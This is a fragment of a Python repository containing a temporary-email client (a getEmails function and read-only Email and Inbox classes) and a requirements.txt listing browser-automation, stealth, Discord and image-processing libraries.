27 | def getEmails(inbox):
28 | s = TempMail.makeHTTPRequest(f"/custom/{TOKEN}/{DOMAIN}")
29 | data = json.loads(s)
30 |
31 | # if no emails are found, return an empty list
32 | # else return a list of email
33 | if data["email"] == None:
34 | return ["None"]
35 | else:
36 | emails = []
37 | for email in data["email"]:
38 | emails.append(Email(email["from"], email["to"], email["subject"], email["body"], email["html"], email["date"]))
39 | return emails
40 |
41 |
42 | class Email:
43 | def __init__(self, sender, recipient, subject, body, html, date):
44 | # make the propertys immutable using @property
45 | self._sender = sender
46 | self._recipient = recipient
47 | self._subject = subject
48 | self._body = body
49 | self._html = html
50 | self._date = date
51 |
52 | @property
53 | def sender(self):
54 | return self._sender
55 |
56 | @property
57 | def recipient(self):
58 | return self._recipient
59 |
60 | @property
61 | def subject(self):
62 | return self._subject
63 |
64 | @property
65 | def body(self):
66 | return self._body
67 |
68 | @property
69 | def html(self):
70 | return self._html
71 |
72 | @property
73 | def date(self):
74 | return self._date
75 |
76 | def __repr__(self):
77 | return ("Email (sender={}, recipient={}, subject={}, body={}, html={}, date={} )".format(self.sender, self.recipient, self.subject, self.body, self.html, self.date))
78 |
79 |
80 | class Inbox:
81 | def __init__(self, address, token):
82 | # make the propertys immutable using @property
83 | self._address = address
84 | self._token = token
85 |
86 | @property
87 | def address(self):
88 | return self._address
89 |
90 | @property
91 | def token(self):
92 | return self._token
93 |
94 | def __repr__(self):
95 | return ("Inbox (address={}, token={} )".format(self.address, self.token))
96 |
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | httpx~=0.23.0
2 | playwright~=1.22.0
3 | playwright-stealth~=1.0.5
4 | numpy>=1.22
5 | scipy~=1.7.3
6 | random-user-agent~=1.0.1
7 | discum~=1.4.1
8 | tempmail-lol~=1.1.0
9 | validators
10 |
11 | # AI Requirements
12 | pyyaml~=6.0
13 | scikit-image~=0.19.2
14 | opencv-python~=4.5.5.62
15 |
--------------------------------------------------------------------------------